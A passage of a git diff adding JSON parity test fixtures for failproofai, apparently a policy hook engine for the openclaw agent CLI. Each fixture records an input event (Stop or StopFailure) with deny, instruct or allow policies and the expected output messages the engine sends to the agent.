a/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ad0cbd08 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..16c680f7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..796ab31b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dec8c85a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3d73380f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6c057b55 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6a2cd702 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b2b3e984 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3ede29fa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1dc1965c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9268fe25 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..edb77dbc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5a9dbae9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9472a9d4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..73beca5a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d2d6e40a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..826ce060 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cd77376b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/StopFailure/deny__tool-present__one-policy.json 